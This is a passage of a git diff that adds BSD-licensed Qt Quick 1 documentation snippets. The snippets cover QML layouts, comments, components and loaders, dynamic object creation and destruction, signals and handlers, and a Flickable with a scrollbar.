+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//! [document]
+import QtQuick 1.0
+
+Item {
+ width: 310; height: 170
+
+ Column {
+ anchors.horizontalCenter: parent.horizontalCenter
+ anchors.verticalCenter: parent.verticalCenter
+
+ spacing: 5
+
+ Rectangle { color: "lightblue"; radius: 10.0
+ width: 300; height: 50
+ Text { anchors.centerIn: parent
+ font.pointSize: 24; text: "Books" } }
+ Rectangle { color: "gold"; radius: 10.0
+ width: 300; height: 50
+ Text { anchors.centerIn: parent
+ font.pointSize: 24; text: "Music" } }
+ Rectangle { color: "lightgreen"; radius: 10.0
+ width: 300; height: 50
+ Text { anchors.centerIn: parent
+ font.pointSize: 24; text: "Movies" } }
+ }
+}
+//! [document]
diff --git a/doc/src/snippets/qtquick1/column/vertical-positioner.qml b/doc/src/snippets/qtquick1/column/vertical-positioner.qml
new file mode 100644
index 0000000000..6dc264c90a
--- /dev/null
+++ b/doc/src/snippets/qtquick1/column/vertical-positioner.qml
@@ -0,0 +1,50 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+//! [document]
+Column {
+ spacing: 2
+ Rectangle { color: "red"; width: 50; height: 50 }
+ Rectangle { color: "green"; width: 20; height: 50 }
+ Rectangle { color: "blue"; width: 50; height: 20 }
+}
+//! [document]
diff --git a/doc/src/snippets/qtquick1/comments.qml b/doc/src/snippets/qtquick1/comments.qml
new file mode 100644
index 0000000000..fb58cc8f12
--- /dev/null
+++ b/doc/src/snippets/qtquick1/comments.qml
@@ -0,0 +1,53 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+//![0]
+Text {
+ text: "Hello world!" //a basic greeting
+ /*
+ We want this text to stand out from the rest so
+ we give it a large size and different font.
+ */
+ font.family: "Helvetica"
+ font.pointSize: 24
+}
+//![0]
diff --git a/doc/src/snippets/qtquick1/component.qml b/doc/src/snippets/qtquick1/component.qml
new file mode 100644
index 0000000000..a42d1eac5a
--- /dev/null
+++ b/doc/src/snippets/qtquick1/component.qml
@@ -0,0 +1,59 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+import QtQuick 1.0
+
+Item {
+ width: 100; height: 100
+
+ Component {
+ id: redSquare
+
+ Rectangle {
+ color: "red"
+ width: 10
+ height: 10
+ }
+ }
+
+ Loader { sourceComponent: redSquare }
+ Loader { sourceComponent: redSquare; x: 20 }
+}
+//![0]
diff --git a/doc/src/snippets/qtquick1/componentCreation.js b/doc/src/snippets/qtquick1/componentCreation.js
new file mode 100644
index 0000000000..7364139d3d
--- /dev/null
+++ b/doc/src/snippets/qtquick1/componentCreation.js
@@ -0,0 +1,45 @@
+//![vars]
+var component;
+var sprite;
+//![vars]
+
+//![func]
+function createSpriteObjects() {
+//![func]
+
+//![remote]
+ component = Qt.createComponent("Sprite.qml");
+ if (component.status == Component.Ready)
+ finishCreation();
+ else
+ component.statusChanged.connect(finishCreation);
+//![remote]
+
+//![local]
+ component = Qt.createComponent("Sprite.qml");
+ sprite = component.createObject(appWindow, {"x": 100, "y": 100});
+
+ if (sprite == null) {
+ // Error Handling
+ console.log("Error creating object");
+ }
+//![local]
+
+//![func-end]
+}
+//![func-end]
+
+//![finishCreation]
+function finishCreation() {
+ if (component.status == Component.Ready) {
+ sprite = component.createObject(appWindow, {"x": 100, "y": 100});
+ if (sprite == null) {
+ // Error Handling
+ console.log("Error creating object");
+ }
+ } else if (component.status == Component.Error) {
+ // Error Handling
+ console.log("Error loading component:", component.errorString());
+ }
+}
+//![finishCreation]
diff --git a/doc/src/snippets/qtquick1/createComponent-simple.qml b/doc/src/snippets/qtquick1/createComponent-simple.qml
new file mode 100644
index 0000000000..e3ade7c689
--- /dev/null
+++ b/doc/src/snippets/qtquick1/createComponent-simple.qml
@@ -0,0 +1,57 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+import QtQuick 1.0
+
+Item {
+ id: container
+ width: 300; height: 300
+
+ function loadButton() {
+ var component = Qt.createComponent("Button.qml");
+ if (component.status == Component.Ready) {
+ var button = component.createObject(container);
+ button.color = "red";
+ }
+ }
+
+ Component.onCompleted: loadButton()
+}
+//![0]
diff --git a/doc/src/snippets/qtquick1/createComponent.qml b/doc/src/snippets/qtquick1/createComponent.qml
new file mode 100644
index 0000000000..e67710dc64
--- /dev/null
+++ b/doc/src/snippets/qtquick1/createComponent.qml
@@ -0,0 +1,51 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//![0]
+import QtQuick 1.0
+import "componentCreation.js" as MyScript
+
+Rectangle {
+ id: appWindow
+ width: 300; height: 300
+
+ Component.onCompleted: MyScript.createSpriteObjects();
+}
+//![0]
diff --git a/doc/src/snippets/qtquick1/createQmlObject.qml b/doc/src/snippets/qtquick1/createQmlObject.qml
new file mode 100644
index 0000000000..4ac9d70cf1
--- /dev/null
+++ b/doc/src/snippets/qtquick1/createQmlObject.qml
@@ -0,0 +1,61 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ id: parentItem
+
+ width: 100
+ height: 100
+
+ function createIt() {
+//![0]
+var newObject = Qt.createQmlObject('import QtQuick 1.0; Rectangle {color: "red"; width: 20; height: 20}',
+ parentItem, "dynamicSnippet1");
+//![0]
+
+//![destroy]
+newObject.destroy(1000);
+//![destroy]
+ }
+
+ Component.onCompleted: createIt()
+}
diff --git a/doc/src/snippets/qtquick1/dynamicObjects-destroy.qml b/doc/src/snippets/qtquick1/dynamicObjects-destroy.qml
new file mode 100644
index 0000000000..b8a23068b8
--- /dev/null
+++ b/doc/src/snippets/qtquick1/dynamicObjects-destroy.qml
@@ -0,0 +1,55 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+import QtQuick 1.0
+
+Item {
+ id: container
+ width: 500; height: 100
+
+ Component.onCompleted: {
+ var component = Qt.createComponent("SelfDestroyingRect.qml");
+ for (var i=0; i<5; i++) {
+ var object = component.createObject(container);
+ object.x = (object.width + 10) * i;
+ }
+ }
+}
+//![0]
diff --git a/doc/src/snippets/qtquick1/events.qml b/doc/src/snippets/qtquick1/events.qml
new file mode 100644
index 0000000000..3dc44f20eb
--- /dev/null
+++ b/doc/src/snippets/qtquick1/events.qml
@@ -0,0 +1,141 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![document]
+import QtQuick 1.0
+
+//![parent begin]
+Rectangle {
+//![parent begin]
+
+ id: screen
+ width: 400; height: 500
+
+//! [signal declaration]
+ signal trigger
+ signal send (string notice)
+ signal perform (string task, variant object)
+//! [signal declaration]
+
+//! [signal handler declaration]
+onTrigger: console.log("trigger signal emitted")
+
+onSend: {
+ console.log("send signal emitted with notice: " + notice)
+}
+
+onPerform: console.log("perform signal emitted")
+//! [signal handler declaration]
+
+//! [automatic signals]
+Rectangle {
+ id: sprite
+ width: 25; height: 25
+ x: 50; y: 15
+
+ onXChanged: console.log("x property changed, emitted xChanged signal")
+ onYChanged: console.log("y property changed, emitted yChanged signal")
+}
+//! [automatic signals]
+
+//! [signal emit]
+Rectangle {
+ id: messenger
+
+ signal send( string person, string notice)
+
+ onSend: {
+ console.log("For " + person + ", the notice is: " + notice)
+ }
+
+ Component.onCompleted: messenger.send("Tom", "the door is ajar.")
+}
+//! [signal emit]
+
+//! [connect method]
+Rectangle {
+ id: relay
+
+ signal send( string person, string notice)
+ onSend: console.log("Send signal to: " + person + ", " + notice)
+
+ Component.onCompleted: {
+ relay.send.connect(sendToPost)
+ relay.send.connect(sendToTelegraph)
+ relay.send.connect(sendToEmail)
+ relay.send("Tom", "Happy Birthday")
+ }
+
+ function sendToPost(person, notice) {
+ console.log("Sending to post: " + person + ", " + notice)
+ }
+ function sendToTelegraph(person, notice) {
+ console.log("Sending to telegraph: " + person + ", " + notice)
+ }
+ function sendToEmail(person, notice) {
+ console.log("Sending to email: " + person + ", " + notice)
+ }
+}
+//! [connect method]
+
+//! [forward signal]
+Rectangle {
+ id: forwarder
+ width: 100; height: 100
+
+ signal send()
+ onSend: console.log("Send clicked")
+
+ MouseArea {
+ id: mousearea
+ anchors.fill: parent
+ onClicked: console.log("MouseArea clicked")
+ }
+ Component.onCompleted: {
+ mousearea.clicked.connect(send)
+ }
+}
+//! [forward signal]
+
+//! [connect method]
+//![parent end]
+}
+//![parent end]
+
+//![document]
diff --git a/doc/src/snippets/qtquick1/flickable.qml b/doc/src/snippets/qtquick1/flickable.qml
new file mode 100644
index 0000000000..4e8d56c5dd
--- /dev/null
+++ b/doc/src/snippets/qtquick1/flickable.qml
@@ -0,0 +1,50 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//! [document]
+import QtQuick 1.0
+
+Flickable {
+ width: 200; height: 200
+ contentWidth: image.width; contentHeight: image.height
+
+ Image { id: image; source: "bigImage.png" }
+}
+//! [document]
diff --git a/doc/src/snippets/qtquick1/flickableScrollbar.qml b/doc/src/snippets/qtquick1/flickableScrollbar.qml
new file mode 100644
index 0000000000..a7ecc91a8a
--- /dev/null
+++ b/doc/src/snippets/qtquick1/flickableScrollbar.qml
@@ -0,0 +1,66 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+//![0]
+Rectangle {
+ width: 200; height: 200
+
+ Flickable {
+ id: flickable
+//![0]
+ anchors.fill: parent
+ contentWidth: image.width; contentHeight: image.height
+
+ Image { id: image; source: "pics/qt.png" }
+//![1]
+ }
+
+ Rectangle {
+ id: scrollbar
+ anchors.right: flickable.right
+ y: flickable.visibleArea.yPosition * flickable.height
+ width: 10
+ height: flickable.visibleArea.heightRatio * flickable.height
+ color: "black"
+ }
+}
+//![1]
